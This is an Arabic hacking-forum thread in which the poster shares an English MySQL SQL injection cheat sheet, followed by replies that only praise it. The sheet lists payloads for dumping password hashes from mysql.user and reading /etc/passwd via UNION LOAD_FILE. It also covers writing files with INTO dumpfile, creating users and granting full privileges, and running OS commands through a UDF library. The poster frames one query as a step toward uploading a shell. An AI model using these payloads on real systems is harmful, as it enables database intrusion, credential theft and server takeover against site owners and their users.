Injection Cheat Sheet - # MySqL

[KaLa$nikoV]

السلام عليكم ورحمه الله وبركاته

اليوم جبت لكم موضوع روعه تحبونه كلكم


لكن الي راح تزعلو منه اني مش راح اترجم لانه امر ومعناه وما يصح ترجمته

ركزو تفهمو ن :]


mysql-sql-injection-cheat-sheet


Version

SELECT @@version

Comments

 SELECT 1; #comment
SELECT /*comment*/1;

Current User

SELECT user();
 SELECT system_user();

List Users

SELECT user FROM mysql.user; -- priv

List Password Hashes

SELECT host, user, password FROM mysql.user; -- priv

Password Cracker

[URL="http://www.openwall.com/john/"]John the Ripper[/URL]  will crack MySQL password hashes

.




List Privileges

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; -- list user privs

SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- priv, list user privs

فوق امر برايفت عشان نرفع شيل هع هع خليكم تكتشفونه لحالكم ما رح اكمل كلام ............

SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; -- list privs on databases (schemas)

SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; -- list privs on columns

List DBA Accounts

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';

SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv

Current Database

SELECT database()

List Databases

SELECT schema_name FROM information_schema.schemata; -- for MySQL >= v5.0

SELECT distinct(db) FROM mysql.db -- priv8

List Tables

SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

Find Tables From Column Name

SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; -- find table which have a column called 'username'

Select Nth Row

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0

Select Nth Char

SELECT substr('abcd', 3, 1); # returns c

Bitwise AND

SELECT 6 & 2; # returns 2

SELECT 6 & 1; # returns 0

ASCII Value -> Char

SELECT char(65); # returns A

Char -> ASCII Value

SELECT ascii('A'); # returns 65

Casting

SELECT cast('1' AS unsigned integer);
SELECT cast('123' AS char);

String Concatenation

 SELECT CONCAT('A','B'); #returns AB
SELECT CONCAT('A','B','C'); # returns ABC

If Statement

 SELECT if(1=1,'foo','bar'); -- returns 'foo'

Case Statement

SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A

Avoiding Quotes

SELECT 0x414243; # returns ABC

Time Delay

SELECT BENCHMARK(1000000,MD5('A'));
SELECT SLEEP(5); # >= 5.0.12

Command Execution
بصراحه اول مره اسمع فيها بس قويه كثير :S
بحاول انزل لكم عليها فيديو

If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  [URL="http://www.0xdeadbeef.info/exploits/raptor_udf.c"]raptor_udf.c[/URL] explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.

Local File Access

...' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read 
world-readable files.

SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; -- priv, write to file system

خخ بتوقع الامر الثاني يعجبكم كثير :]


Create Users

CREATE USER test1 IDENTIFIED BY 'pass1'; -- priv

Delete Users

DROP USER test1; -- priv

Make User DBA

GRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv

Location of DB files

SELECT @@datadir

;




اتمنا انكم تفهمو الاستعلاماات

موفقين

 

[ViRuS Qalaa]

[align=center]مشكور ياغالي على الدرس الرائع والاومر الجديدة والرائع جدا
ابداعك مالة مثيل ابدا [/align]

 

[fariiiis]

يعطيك العافيه اخ عبدالرحمن ابداع ماله حدود ..

 

[Master vbspiders]

[align=center]تسلم عالاوامر يا أستاذ الحقن
واصل...
تحياتي لك[/align]

 

[dz-الشبح]

[align=center]بارك الله فيك وجزاك كل خير

دائما مبدع واصل ابداعك ياغالي[/align]

 

[Mr-MoncéFiix]

مشكور ياغالي على الدرس الرائع والاومر الجديدة والرائع جدا